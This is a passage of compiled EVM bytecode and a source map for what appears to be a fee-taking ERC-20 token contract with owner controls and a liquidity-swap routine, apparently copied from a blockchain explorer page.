60206004820152601e60248201527f72656365697665722072656a656374656420455448207472616e7366657200006044820152606401610709565b50506017805461ff00191690555050565b6001600160a01b03821660009081526009602052604081205460ff161580156107d75750506001600160a01b031660009081526009602052604090205460ff1615919050565b6000806113976011546107fb6113908888610a32565b8690610f60565b9050600080600d541115611410576113c0600d546107fb600c5485610f6090919063ffffffff16565b6007549091506113d09082611533565b60078190556040805183815260208101929092527fc3b3cc73ac1faef58c428c22be6cb344acfd92a699c8cd758c753af27071b5ac910160405180910390a15b600061141c8383611533565b3060009081526006602052604090205490915061143990826114a6565b306000818152600660205260409020919091556001600160a01b0388167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611480846107de565b60405190815260200160405180910390a361149b8584611533565b979650505050505050565b6000806114b383856117b3565b9050838110156107d75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610709565b600081836115265760405162461bcd60e51b81526004016107099190611575565b506000610cf784866117dd565b60006107d783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cc6565b600060208083528351808285015260005b818110156115a257858101830151858201604001528201611586565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146115da57600080fd5b919050565b600080604083850312156115f257600080fd5b6115fb836115c3565b946020939093013593505050565b60008060006060848603121561161e57600080fd5b611627846115c3565b9250611635602085016115c3565b9150604084013590509250925092565b60006020828403121561165757600080fd5b5035919050565b60006020828403121561167057600080fd5b6107d7826115c3565b803580151581146115da57600080fd5b6000806040838503121561169c57600080fd5b6116a5836115c3565b91506116b360208401611679565b90509250929050565b6000806000606084860312156116d157600080fd5b6116da84611679565b9250602084013591506116ef60408501611679565b90509250925092565b6000806040838503121561170b57600080fd5b611714836115c3565b91506116b3602084016115c3565b600181811c9082168061173657607f821691505b60208210810361175657634e487b7160e01b600052602260045260246000fd5b50919050565b60008060006060848603121561177157600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b8181038181111561065f5761065f61178a565b8082018082111561065f5761065f61178a565b808202811582820484141761065f5761065f61178a565b6000826117fa57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118655784516001600160a01b031683529383019391830191600101611840565b50506001600160a01b0396909616606085015250505060800152939250505056fe4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a264697066735822122016eeb99860e2186c16628d405310eee414cbfbc197d84a164cddc7a6a90854bf64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101d15760003560e01c806370a08231116100f757806395d89b4111610095578063dd62ed3e11610064578063dd62ed3e146104d8578063e8078d941461051e578063f2fde38b14610526578063f887ea401461054657600080fd5b806395d89b4114610463578063a9059cbb14610478578063ad5c464814610498578063d2d55dde146104b857600080fd5b806378109e54116100d157806378109e541461040f5780637daf4b2b14610425578063893d20e8146104455780638da5cb5b1461044557600080fd5b806370a08231146103af578063715018a6146103e5578063751039fc146103fa57600080fd5b80632b112e491161016f57806349bd5a5e1161013e57806349bd5a5e14610316578063571ac8b01461034e578063658d4b7f1461036e5780636ddd17131461038e57600080fd5b80632b112e491461026e5780632d838119146102ba578063313ce567146102da57806345ce5365146102f657600080fd5b806317800287116101ab578063178002871461025857806318160ddd1461026e5780631d16d9a01461028357806323b872dd1461029a57600080fd5b80630445b667146101dd57806306fdde0314610206578063095ea7b31461022857600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b506101f360165481565b6040519081526020015b60405180910390f35b34801561021257600080fd5b5061021b610566565b6040516101fd9190611575565b34801561023457600080fd5b506102486102433660046115df565b6105f8565b60405190151581526020016101fd565b34801561026457600080fd5b506101f360075481565b34801561027a57600080fd5b506004546101f3565b34801561028f57600080fd5b50610298610665565b005b3480156102a657600080fd5b506102486102b5366004611609565b610715565b3480156102c657600080fd5b506101f36102d5366004611645565b6107de565b3480156102e657600080fd5b50604051600981526020016101fd565b34801561030257600080fd5b506101f3610311366004611645565b610801565b34801561032257600080fd5b50601554610336906001600160a01b031681565b6040516001600160a01b0390911681526020016101fd565b34801561035a57600080fd5b5061024861036936600461165e565b61081e565b34801561037a57600080fd5b50610298610389366004611689565b61082c565b34801561039a57600080fd5b5060155461024890600160a01b900460ff1681565b3480156103bb57600080fd5b506101f36103ca36600461165e565b6001600160a01b031660009081526006602052604090205490565b3480156103f157600080fd5b5061029861089f565b34801561040657600080fd5b50610298610931565b34801561041b57600080fd5b506101f360055481565b34801561043157600080fd5b506102986104403660046116bc565b610995565b34801561045157600080fd5b506000546001600160a01b0316610336565b34801561046f57600080fd5b5061021b610a16565b34801561048457600080fd5b506102486104933660046115df565b610a25565b3480156104a457600080fd5b50600154610336906001600160a01b031681565b3480156104c457600080fd5b506101f36104d33660046116f8565b610a32565b3480156104e457600080fd5b506101f36104f33660046116f8565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b610298610a7d565b34801561053257600080fd5b5061029861054136600461165e565b610bbe565b34801561055257600080fd5b50601454610336906001600160a01b031681565b60606002805461057590611722565b80601f01602080910402602001604051908101604052809291908181526020018280546105a190611722565b80156105ee5780601f106105c3576101008083540402835291602001916105ee565b820191906000526020600020905b8154815290600101906020018083116105d157829003601f168201915b5050505050905090565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106539086815260200190565b60405180910390a35060015b92915050565b6013546040516000916001600160a01b03169061753090479084818181858888f193505050503d80600081146106b7576040519150601f19603f3d011682016040523d82523d6000602084013e6106bc565b606091505b50509050806107125760405162461bcd60e51b815260206004820152601e60248201527f72656365697665722072656a656374656420455448207472616e73666572000060448201526064015b60405180910390fd5b50565b6001600160a01b0383166000908152600860209081526040808320338452909152812054600019146107c957604080518082018252601681527f496e73756666696369656e7420416c6c6f77616e6365000000000000000000006020808301919091526001600160a01b03871660009081526008825283812033825290915291909120546107a4918490610cc6565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b6107d4848484610d00565b90505b9392505050565b600061065f6007546107fb60045485610f6090919063ffffffff16565b90610fe2565b600061065f6004546107fb60075485610f6090919063ffffffff16565b600061065f826000196105f8565b6000546001600160a01b031633146108745760405162461bcd60e51b815260206004820181905260248201526000805160206118878339815191526044820152606401610709565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108e75760405162461bcd60e51b815260206004820181905260248201526000805160206118878339815191526044820152606401610709565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109795760405162461bcd60e51b815260206004820181905260248201526000805160206118878339815191526044820152606401610709565b6004546005556000600e819055600f8190556010819055600d55565b6000546001600160a01b031633146109dd5760405162461bcd60e51b815260206004820181905260248201526000805160206118878339815191526044820152606401610709565b6015805460ff60a01b1916600160a01b94151594909402939093179092556016556017805460ff1916911515919091179055565b905090565b60606003805461057590611722565b60006107d7338484610d00565b6015546000906001600160a01b0390811690841603610a545750600e5461065f565b6015546001600160a01b0390811690831603610a735750600f5461065f565b5060105492915050565b6000546001600160a01b03163314610ac55760405162461bcd60e51b815260206004820181905260248201526000805160206118878339815191526044820152606401610709565b6015805460ff60a01b1916905560145460045447916001600160a01b03169063f305d7199083903090610b0090600c906107fb90600b610f60565b610b1b600c6107fb600b600454610f6090919063ffffffff16565b6040516001600160e01b031960e087901b1681526001600160a01b03909316600484015260248301919091526044820152606481018590523360848201524260a482015260c40160606040518083038185885af1158015610b80573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ba5919061175c565b50506015805460ff60a01b1916600160a01b1790555050565b6000546001600160a01b03163314610c065760405162461bcd60e51b815260206004820181905260248201526000805160206118878339815191526044820152606401610709565b6001600160a01b038116610c6b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610709565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008184841115610cea5760405162461bcd60e51b81526004016107099190611575565b506000610cf784866117a0565b95945050505050565b601754600090610100900460ff1615610d2557610d1e848484611024565b90506107d7565b6015546001600160a01b03848116911614801590610d4e57506001600160a01b03831661dead14155b8015610d7357506001600160a01b03831660009081526009602052604090205460ff16155b8015610d9857506001600160a01b03841660009081526009602052604090205460ff16155b15610e0e5760055482610dc0856001600160a01b031660009081526006602052604090205490565b610dca91906117b3565b1115610e0e5760405162461bcd60e51b815260206004820152601360248201527213585e0815d85b1b195d08115e18d959591959606a1b6044820152606401610709565b610e1661110a565b15610e2457610e2482611165565b6000610e2f83610801565b9050610e978160405180604001604052806014815260200173496e73756666696369656e742042616c616e636560601b81525060066000896001600160a01b03166001600160a01b0316815260200190815260200160002054610cc69092919063ffffffff16565b6001600160a01b038616600090815260066020526040812091909155610ebd8686611334565b610ec75781610ed2565b610ed286868461137a565b6001600160a01b038616600090815260066020526040902054909150610ef890826114a6565b6001600160a01b0380871660008181526006602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f4c9088815260200190565b60405180910390a350600195945050505050565b600082600003610f725750600061065f565b6000610f7e83856117c6565b905082610f8b85836117dd565b146107d75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610709565b60006107d783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611505565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611075918490610cc6565b6001600160a01b0380861660009081526006602052604080822093909355908516815220546110a490836114a6565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110f89086815260200190565b60405180910390a35060019392505050565b6015546000906001600160a01b031633148015906111305750601754610100900460ff16155b80156111455750601554600160a01b900460ff165b8015610a1157505060165430600090815260066020526040902054101590565b6017805461ff001981166101001790915560009060ff168015611189575060165482105b61119557601654611197565b815b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106111d1576111d16117ff565b6001600160a01b0392831660209182029290920101526001805483519216918391908110611201576112016117ff565b6001600160a01b03928316602091820292909201015260145460405163791ac94760e01b815291169063791ac94790611247908590600090869030904290600401611815565b600060405180830381600087803b15801561126157600080fd5b505af1158015611275573d6000803e3d6000fd5b5050601354604051600093506001600160a01b03909116915061753090479084818181858888f193505050503d80600081146112cd576040519150601f19603f3d011682016040523d82523d6000602084013e6112d2565b606091505b50509050806113235760405162461bcd60e51b815260206004820152601e60248201527f72656365697665722072656a656374656420455448207472616e7366657200006044820152606401610709565b50506017805461ff00191690555050565b6001600160a01b03821660009081526009602052604081205460ff161580156107d75750506001600160a01b031660009081526009602052604090205460ff1615919050565b6000806113976011546107fb6113908888610a32565b8690610f60565b9050600080600d541115611410576113c0600d546107fb600c5485610f6090919063ffffffff16565b6007549091506113d09082611533565b60078190556040805183815260208101929092527fc3b3cc73ac1faef58c428c22be6cb344acfd92a699c8cd758c753af27071b5ac910160405180910390a15b600061141c8383611533565b3060009081526006602052604090205490915061143990826114a6565b306000818152600660205260409020919091556001600160a01b0388167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611480846107de565b60405190815260200160405180910390a361149b8584611533565b979650505050505050565b6000806114b383856117b3565b9050838110156107d75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610709565b600081836115265760405162461bcd60e51b81526004016107099190611575565b506000610cf784866117dd565b60006107d783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cc6565b600060208083528351808285015260005b818110156115a257858101830151858201604001528201611586565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146115da57600080fd5b919050565b600080604083850312156115f257600080fd5b6115fb836115c3565b946020939093013593505050565b60008060006060848603121561161e57600080fd5b611627846115c3565b9250611635602085016115c3565b9150604084013590509250925092565b60006020828403121561165757600080fd5b5035919050565b60006020828403121561167057600080fd5b6107d7826115c3565b803580151581146115da57600080fd5b6000806040838503121561169c57600080fd5b6116a5836115c3565b91506116b360208401611679565b90509250929050565b6000806000606084860312156116d157600080fd5b6116da84611679565b9250602084013591506116ef60408501611679565b90509250925092565b6000806040838503121561170b57600080fd5b611714836115c3565b91506116b3602084016115c3565b600181811c9082168061173657607f821691505b60208210810361175657634e487b7160e01b600052602260045260246000fd5b50919050565b60008060006060848603121561177157600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b8181038181111561065f5761065f61178a565b8082018082111561065f5761065f61178a565b808202811582820484141761065f5761065f61178a565b6000826117fa57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118655784516001600160a01b031683529383019391830191600101611840565b50506001600160a01b0396909616606085015250505060800152939250505056fe4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a264697066735822122016eeb99860e2186c16628d405310eee414cbfbc197d84a164cddc7a6a90854bf64736f6c63430008130033

Deployed Bytecode Sourcemap

6770:9334:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8104:59;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;8104:59:0;;;;;;;;9715:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;10119:216::-;;;;;;;;;;-1:-1:-1;10119:216:0;;;;;:::i;:::-;;:::i;:::-;;;1374:14:1;;1367:22;1349:41;;1337:2;1322:18;10119:216:0;1209:187:1;7501:46:0;;;;;;;;;;;;;;;;9463:88;;;;;;;;;;-1:-1:-1;9536:12:0;;9463:88;;15374:206;;;;;;;;;;;;;:::i;:::-;;10637:370;;;;;;;;;;-1:-1:-1;10637:370:0;;;;;:::i;:::-;;:::i;13893:155::-;;;;;;;;;;-1:-1:-1;13893:155:0;;;;;:::i;:::-;;:::i;9557:71::-;;;;;;;;;;-1:-1:-1;9557:71:0;;7308:1;2061:36:1;;2049:2;2034:18;9557:71:0;1919:184:1;13739:146:0;;;;;;;;;;-1:-1:-1;13739:146:0;;;;;:::i;:::-;;:::i;8030:28::-;;;;;;;;;;-1:-1:-1;8030:28:0;;;;-1:-1:-1;;;;;8030:28:0;;;;;;-1:-1:-1;;;;;2272:55:1;;;2254:74;;2242:2;2227:18;8030:28:0;2108:226:1;10343:122:0;;;;;;;;;;-1:-1:-1;10343:122:0;;;;;:::i;:::-;;:::i;15797:119::-;;;;;;;;;;-1:-1:-1;15797:119:0;;;;;:::i;:::-;;:::i;8067:30::-;;;;;;;;;;-1:-1:-1;8067:30:0;;;;-1:-1:-1;;;8067:30:0;;;;;;9869:103;;;;;;;;;;-1:-1:-1;9869:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;9953:16:0;9935:7;9953:16;;;:7;:16;;;;;;;9869:103;6216:148;;;;;;;;;;;;;:::i;15592:191::-;;;;;;;;;;;;;:::i;7379:61::-;;;;;;;;;;;;;;;;15151:211;;;;;;;;;;-1:-1:-1;15151:211:0;;;;;:::i;:::-;;:::i;9792:71::-;;;;;;;;;;-1:-1:-1;9835:7:0;5638:6;-1:-1:-1;;;;;5638:6:0;9792:71;;9634:75;;;;;;;;;;;;;:::i;10473:156::-;;;;;;;;;;-1:-1:-1;10473:156:0;;;;;:::i;:::-;;:::i;7176:19::-;;;;;;;;;;-1:-1:-1;7176:19:0;;;;-1:-1:-1;;;;;7176:19:0;;;12235:247;;;;;;;;;;-1:-1:-1;12235:247:0;;;;;:::i;:::-;;:::i;9978:133::-;;;;;;;;;;-1:-1:-1;9978:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;10080:19:0;;;10062:7;10080:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;9978:133;9023:430;;;:::i;6519:244::-;;;;;;;;;;-1:-1:-1;6519:244:0;;;;;:::i;:::-;;:::i;7999:24::-;;;;;;;;;;-1:-1:-1;7999:24:0;;;;-1:-1:-1;;;;;7999:24:0;;;9715:71;9754:13;9778:5;9771:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9715:71;:::o;10119:216::-;10223:10;10194:4;10211:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;10211:32:0;;;;;;;;;;:41;;;10268:37;10194:4;;10211:32;;10268:37;;;;10246:6;160:25:1;;148:2;133:18;;14:177;10268:37:0;;;;;;;;-1:-1:-1;10323:4:0;10119:216;;;;;:::o;15374:206::-;15439:20;;15431:80;;15414:12;;-1:-1:-1;;;;;15439:20:0;;15501:5;;15473:21;;15414:12;15431:80;15414:12;15431:80;15473:21;15439:20;15501:5;15431:80;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15413:98;;;15530:7;15522:50;;;;-1:-1:-1;;;15522:50:0;;4586:2:1;15522:50:0;;;4568:21:1;4625:2;4605:18;;;4598:30;4664:32;4644:18;;;4637:60;4714:18;;15522:50:0;;;;;;;;;15402:178;15374:206::o;10637:370::-;-1:-1:-1;;;;;10757:19:0;;10737:4;10757:19;;;:11;:19;;;;;;;;10777:10;10757:31;;;;;;;;-1:-1:-1;;10757:52:0;10754:186;;10859:69;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;10859:19:0;;-1:-1:-1;10859:19:0;;;:11;:19;;;;;10879:10;10859:31;;;;;;;;;;:69;;10895:6;;10859:35;:69::i;:::-;-1:-1:-1;;;;;10825:19:0;;;;;;:11;:19;;;;;;;;10845:10;10825:31;;;;;;;:103;10754:186;10959:40;10973:6;10981:9;10992:6;10959:13;:40::i;:::-;10952:47;;10637:370;;;;;;:::o;13893:155::-;13963:7;13990:50;14023:16;;13990:28;14005:12;;13990:10;:14;;:28;;;;:::i;:::-;:32;;:50::i;13739:146::-;13804:7;13831:46;13864:12;;13831:28;13842:16;;13831:6;:10;;:28;;;;:::i;10343:122::-;10398:4;10422:35;10430:7;-1:-1:-1;;10422:7:0;:35::i;15797:119::-;5785:6;;-1:-1:-1;;;;;5785:6:0;4822:10;5785:22;5777:67;;;;-1:-1:-1;;;5777:67:0;;4945:2:1;5777:67:0;;;4927:21:1;;;4964:18;;;4957:30;-1:-1:-1;;;;;;;;;;;5003:18:1;;;4996:62;5075:18;;5777:67:0;4743:356:1;5777:67:0;-1:-1:-1;;;;;15880:19:0;;;::::1;;::::0;;;:11:::1;:19;::::0;;;;:28;;-1:-1:-1;;15880:28:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15797:119::o;6216:148::-;5785:6;;-1:-1:-1;;;;;5785:6:0;4822:10;5785:22;5777:67;;;;-1:-1:-1;;;5777:67:0;;4945:2:1;5777:67:0;;;4927:21:1;;;4964:18;;;4957:30;-1:-1:-1;;;;;;;;;;;5003:18:1;;;4996:62;5075:18;;5777:67:0;4743:356:1;5777:67:0;6323:1:::1;6307:6:::0;;6286:40:::1;::::0;-1:-1:-1;;;;;6307:6:0;;::::1;::::0;6286:40:::1;::::0;6323:1;;6286:40:::1;6354:1;6337:19:::0;;-1:-1:-1;;;;;;6337:19:0::1;::::0;;6216:148::o;15592:191::-;5785:6;;-1:-1:-1;;;;;5785:6:0;4822:10;5785:22;5777:67;;;;-1:-1:-1;;;5777:67:0;;4945:2:1;5777:67:0;;;4927:21:1;;;4964:18;;;4957:30;-1:-1:-1;;;;;;;;;;;5003:18:1;;;4996:62;5075:18;;5777:67:0;4743:356:1;5777:67:0;15662:12:::1;::::0;15644:15:::1;:30:::0;-1:-1:-1;15685:6:0::1;:14:::0;;;15710:7:::1;:14:::0;;;15735:11:::1;:14:::0;;;15760:8:::1;:14:::0;15592:191::o;15151:211::-;5785:6;;-1:-1:-1;;;;;5785:6:0;4822:10;5785:22;5777:67;;;;-1:-1:-1;;;5777:67:0;;4945:2:1;5777:67:0;;;4927:21:1;;;4964:18;;;4957:30;-1:-1:-1;;;;;;;;;;;5003:18:1;;;4996:62;5075:18;;5777:67:0;4743:356:1;5777:67:0;15261:11:::1;:22:::0;;-1:-1:-1;;;;15261:22:0::1;-1:-1:-1::0;;;15261:22:0;::::1;;::::0;;;::::1;::::0;;;::::1;::::0;;;15294:13:::1;:23:::0;15328:11:::1;:26:::0;;-1:-1:-1;;15328:26:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15151:211::o;9853:7::-;9846:14;;9792:71;:::o;9634:75::-;9675:13;9699:7;9692:14;;;;;:::i;10473:156::-;10553:4;10577:44;10591:10;10603:9;10614:6;10577:13;:44::i;12235:247::-;12350:13;;12312:7;;-1:-1:-1;;;;;12350:13:0;;;12337:26;;;;12333:50;;-1:-1:-1;12374:6:0;;12367:13;;12333:50;12411:13;;-1:-1:-1;;;;;12411:13:0;;;12398:26;;;;12394:51;;-1:-1:-1;12435:7:0;;12428:14;;12394:51;-1:-1:-1;12463:11:0;;12235:247;;;;:::o;9023:430::-;5785:6;;-1:-1:-1;;;;;5785:6:0;4822:10;5785:22;5777:67;;;;-1:-1:-1;;;5777:67:0;;4945:2:1;5777:67:0;;;4927:21:1;;;4964:18;;;4957:30;-1:-1:-1;;;;;;;;;;;5003:18:1;;;4996:62;5075:18;;5777:67:0;4743:356:1;5777:67:0;9085:11:::1;:19:::0;;-1:-1:-1;;;;9085:19:0::1;::::0;;:11:::1;9169:6:::0;9253:12:::1;::::0;9137:21:::1;::::0;-1:-1:-1;;;;;9169:6:0::1;::::0;:22:::1;::::0;9137:21;;9233:4:::1;::::0;9253:28:::1;::::0;9278:2:::1;::::0;9253:20:::1;::::0;9270:2:::1;9253:16;:20::i;:28::-;9296;9321:2;9296:20;9313:2;9296:12;;:16;;:20;;;;:::i;:28::-;9169:245;::::0;-1:-1:-1;;;;;;9169:245:0::1;::::0;;;;;;-1:-1:-1;;;;;5470:15:1;;;9169:245:0::1;::::0;::::1;5452:34:1::0;5502:18;;;5495:34;;;;5545:18;;;5538:34;5588:18;;;5581:34;;;9363:10:0::1;5631:19:1::0;;;5624:44;9388:15:0::1;5684:19:1::0;;;5677:35;5363:19;;9169:245:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9427:11:0::1;:18:::0;;-1:-1:-1;;;;9427:18:0::1;-1:-1:-1::0;;;9427:18:0::1;::::0;;-1:-1:-1;;9023:430:0:o;6519:244::-;5785:6;;-1:-1:-1;;;;;5785:6:0;4822:10;5785:22;5777:67;;;;-1:-1:-1;;;5777:67:0;;4945:2:1;5777:67:0;;;4927:21:1;;;4964:18;;;4957:30;-1:-1:-1;;;;;;;;;;;5003:18:1;;;4996:62;5075:18;;5777:67:0;4743:356:1;5777:67:0;-1:-1:-1;;;;;6608:22:0;::::1;6600:73;;;::::0;-1:-1:-1;;;6600:73:0;;6236:2:1;6600:73:0::1;::::0;::::1;6218:21:1::0;6275:2;6255:18;;;6248:30;6314:34;6294:18;;;6287:62;-1:-1:-1;;;6365:18:1;;;6358:36;6411:19;;6600:73:0::1;6034:402:1::0;6600:73:0::1;6710:6;::::0;;6689:38:::1;::::0;-1:-1:-1;;;;;6689:38:0;;::::1;::::0;6710:6;::::1;::::0;6689:38:::1;::::0;::::1;6738:6;:17:::0;;-1:-1:-1;;;;;;6738:17:0::1;-1:-1:-1::0;;;;;6738:17:0;;;::::1;::::0;;;::::1;::::0;;6519:244::o;3751:192::-;3837:7;3873:12;3865:6;;;;3857:29;;;;-1:-1:-1;;;3857:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3897:9:0;3909:5;3913:1;3909;:5;:::i;:::-;3897:17;3751:192;-1:-1:-1;;;;;3751:192:0:o;11015:1040::-;11137:6;;11107:4;;11137:6;;;;;11134:63;;;11153:41;11168:6;11176:9;11187:6;11153:14;:41::i;:::-;11146:48;;;;11134:63;11226:13;;-1:-1:-1;;;;;11213:26:0;;;11226:13;;11213:26;;;;:47;;-1:-1:-1;;;;;;11243:17:0;;6963:42;11243:17;;11213:47;:74;;;;-1:-1:-1;;;;;;11265:22:0;;;;;;:11;:22;;;;;;;;11264:23;11213:74;:98;;;;-1:-1:-1;;;;;;11292:19:0;;;;;;:11;:19;;;;;;;;11291:20;11213:98;11209:211;;;11369:15;;11359:6;11336:20;11346:9;-1:-1:-1;;;;;9953:16:0;9935:7;9953:16;;;:7;:16;;;;;;;9869:103;11336:20;:29;;;;:::i;:::-;:48;;11328:80;;;;-1:-1:-1;;;11328:80:0;;7038:2:1;11328:80:0;;;7020:21:1;7077:2;7057:18;;;7050:30;-1:-1:-1;;;7096:18:1;;;7089:49;7155:18;;11328:80:0;6836:343:1;11328:80:0;11435:16;:14;:16::i;:::-;11432:41;;;11454:16;11463:6;11454:8;:16::i;:::-;11487:15;11505:26;11524:6;11505:18;:26::i;:::-;11487:44;;11562:52;11582:7;11562:52;;;;;;;;;;;;;-1:-1:-1;;;11562:52:0;;;:7;:15;11570:6;-1:-1:-1;;;;;11562:15:0;-1:-1:-1;;;;;11562:15:0;;;;;;;;;;;;;:19;;:52;;;;;:::i;:::-;-1:-1:-1;;;;;11544:15:0;;;;;;:7;:15;;;;;:70;;;;11656:32;11552:6;11678:9;11656:13;:32::i;:::-;:80;;11729:7;11656:80;;;11691:35;11699:6;11707:9;11718:7;11691;:35::i;:::-;-1:-1:-1;;;;;11768:18:0;;;;;;:7;:18;;;;;;11627:109;;-1:-1:-1;11768:42:0;;11627:109;11768:22;:42::i;:::-;-1:-1:-1;;;;;11747:18:0;;;;;;;:7;:18;;;;;;;:63;;;;11980:35;;;;;;;;;;12008:6;160:25:1;;148:2;133:18;;14:177;11980:35:0;;;;;;;;-1:-1:-1;12033:4:0;;11015:1040;-1:-1:-1;;;;;11015:1040:0:o;3951:250::-;4009:7;4033:1;4038;4033:6;4029:47;;-1:-1:-1;4063:1:0;4056:8;;4029:47;4088:9;4100:5;4104:1;4100;:5;:::i;:::-;4088:17;-1:-1:-1;4133:1:0;4124:5;4128:1;4088:17;4124:5;:::i;:::-;:10;4116:56;;;;-1:-1:-1;;;4116:56:0;;7781:2:1;4116:56:0;;;7763:21:1;7820:2;7800:18;;;7793:30;7859:34;7839:18;;;7832:62;-1:-1:-1;;;7910:18:1;;;7903:31;7951:19;;4116:56:0;7579:397:1;4209:132:0;4267:7;4294:39;4298:1;4301;4294:39;;;;;;;;;;;;;;;;;:3;:39::i;13409:322::-;13537:51;;;;;;;;;;;-1:-1:-1;;;13537:51:0;;;;;;;;-1:-1:-1;;;;;13537:15:0;;13502:4;13537:15;;;:7;:15;;;;;;;:51;;13557:6;;13537:19;:51::i;:::-;-1:-1:-1;;;;;13519:15:0;;;;;;;:7;:15;;;;;;:69;;;;13620:18;;;;;;;:30;;13643:6;13620:22;:30::i;:::-;-1:-1:-1;;;;;13599:18:0;;;;;;;:7;:18;;;;;;;:51;;;;13666:35;;;;;;;;;;13694:6;160:25:1;;148:2;133:18;;14:177;13666:35:0;;;;;;;;-1:-1:-1;13719:4:0;13409:322;;;;;:::o;14056:206::-;14143:13;;14105:4;;-1:-1:-1;;;;;14143:13:0;14129:10;:27;;;;:47;;-1:-1:-1;14170:6:0;;;;;;;14169:7;14129:47;:71;;;;-1:-1:-1;14189:11:0;;-1:-1:-1;;;14189:11:0;;;;14129:71;:125;;;;-1:-1:-1;;14241:13:0;;14231:4;9935:7;9953:16;;;:7;:16;;;;;;14213:41;;;14056:206::o;14270:873::-;8242:6;:13;;-1:-1:-1;;8242:13:0;;;;;;;;;;14430:11;:47;::::1;;;;14464:13;;14445:16;:32;14430:47;14429:84;;14500:13;;14429:84;;;14481:16;14429:84;14550:16;::::0;;14564:1:::1;14550:16:::0;;;;;::::1;::::0;;14406:107;;-1:-1:-1;14526:21:0::1;::::0;14550:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;14550:16:0::1;14526:40;;14595:4;14577;14582:1;14577:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14577:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;:23;14621:4:::1;::::0;;14611:7;;14621:4;::::1;::::0;14611;;14621;14611:7;::::1;;;;;:::i;:::-;-1:-1:-1::0;;;;;14611:14:0;;::::1;:7;::::0;;::::1;::::0;;;;;:14;14699:6:::1;::::0;:188:::1;::::0;-1:-1:-1;;;14699:188:0;;:6;::::1;::::0;:57:::1;::::0;:188:::1;::::0;14771:12;;14699:6:::1;::::0;14814:4;;14841::::1;::::0;14861:15:::1;::::0;14699:188:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;15002:20:0::1;::::0;14994:80:::1;::::0;14977:12:::1;::::0;